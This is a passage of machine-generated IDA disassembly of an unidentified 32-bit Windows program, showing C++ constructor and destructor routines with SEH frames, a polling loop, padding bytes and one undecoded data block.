sub_417AE0	proc near		; CODE XREF: sub_401DEDj
		add	ecx, 4
		jmp	sub_401023
sub_417AE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B00	proc near		; CODE XREF: sub_401FF5j
		add	ecx, 4
		jmp	sub_401023
sub_417B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B20	proc near		; CODE XREF: sub_401EE2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BC0	proc near		; CODE XREF: sub_40157Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417BC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417BC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C60	proc near		; CODE XREF: sub_401645j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D30	proc near		; CODE XREF: sub_401776j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401749
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DF0	proc near		; CODE XREF: sub_401820j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E050
		mov	eax, esi
		pop	esi
		retn
sub_417DF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E20	proc near		; CODE XREF: sub_4016B3j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E05C
		mov	eax, esi
		pop	esi
		retn
sub_417E20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E50	proc near		; CODE XREF: sub_401415j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F10	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417FD0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417FD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417FD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418050	proc near		; CODE XREF: sub_401D11j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	nullsub_10
		mov	eax, esi
		pop	esi
		retn
sub_418050	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418080	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418080	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418100	proc near		; CODE XREF: sub_401A7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418100	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E09C
		mov	eax, esi
		pop	esi
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181B0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4181B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4181B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418230	proc near		; CODE XREF: sub_401573j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A4
		mov	eax, esi
		pop	esi
		retn
sub_418230	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418260	proc near		; CODE XREF: sub_40178Fj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A8
		mov	eax, esi
		pop	esi
		retn
sub_418260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418290	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_50F8D0
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418348:				; CODE XREF: sub_418330+E4j
		test	bl, bl
		jnz	loc_41841E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41835E
		mov	bl, 1
		jmp	short loc_418372
; ---------------------------------------------------------------------------


loc_41835E:				; CODE XREF: sub_418330+28j
		lea	ecx, [esi+15Fh]
		call	sub_40185C
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418379


loc_418372:				; CODE XREF: sub_418330+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418379:				; CODE XREF: sub_418330+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402086
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F4B
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jz	short loc_4183FE


loc_4183B4:				; CODE XREF: sub_418330+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	ecx, [eax]
		call	sub_401744
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4183DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4183DB:				; CODE XREF: sub_418330+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jnz	short loc_4183B4


loc_4183FE:				; CODE XREF: sub_418330+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418348
		test	bl, bl
		jz	short loc_41842B


loc_41841E:				; CODE XREF: sub_418330+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41842B:				; CODE XREF: sub_418330+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418490	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418490
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E6EDB
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4184D0
		push	eax
		jmp	short loc_4184D5
; ---------------------------------------------------------------------------


loc_4184D0:				; CODE XREF: sub_418490+3Bj
		push	offset byte_446F70


loc_4184D5:				; CODE XREF: sub_418490+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015D7
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4184EE
		push	edi
		jmp	short loc_4184F3
; ---------------------------------------------------------------------------


loc_4184EE:				; CODE XREF: sub_418490+59j
		push	offset byte_446F70


loc_4184F3:				; CODE XREF: sub_418490+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015D7
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418490	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE945CE8h
		dd 244C8DFFh, 2685128h,	0E8000002h, 7169E121h, 8F88E890h
		dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh
		dd 680050F8h, 3E8h, 0CF8BD3FFh,	0FE8CB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh
		dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh
		dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h
		dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh
		dd 8F2478Eh, 8D52E800h,	8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh
		dd 9FA138Eh, 9046E800h,	8E8DFFFEh, 8F3A2h, 0FE9B26E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h
		dd 9FC428Eh, 9889E800h,	0CF8BFFFEh, 0FE896EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h
		dd 9FAD38Eh, 9802E800h,	8E8DFFFEh, 9FB93h, 0FE925CE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h
		dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh
		dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h,	69BCE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418840:				; CODE XREF: ___:00402202j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418860:				; CODE XREF: ___:00401EC4j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401767
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418890	proc near		; CODE XREF: sub_401B09j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021BC
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40142E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4020E5
sub_418890	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418900	proc near		; CODE XREF: sub_401AFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418900	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418940	proc near		; CODE XREF: sub_4021DAj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40205E
sub_418940	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189B0	proc near		; CODE XREF: sub_401F4Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189B0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_401311j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		pop	esi
		add	esp, 0Ch
		retn
sub_418A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A70	proc near		; CODE XREF: sub_402086j
		push	esi
		mov	esi, ecx
		call	sub_401528
		mov	eax, esi
		pop	esi
		retn
sub_418A70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A90	proc near		; CODE XREF: sub_402211j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418A90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AE0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40221B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418AE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B10	proc near		; CODE XREF: sub_40142Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jz	short loc_418B6A


loc_418B28:				; CODE XREF: sub_418B10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jnz	short loc_418B28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418B6A:				; CODE XREF: sub_418B10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418B10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418BA0	proc near		; CODE XREF: sub_4020E5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D57
sub_418BA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BC0	proc near		; CODE XREF: sub_401550j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jz	short loc_418C1A


loc_418BD8:				; CODE XREF: sub_418BC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
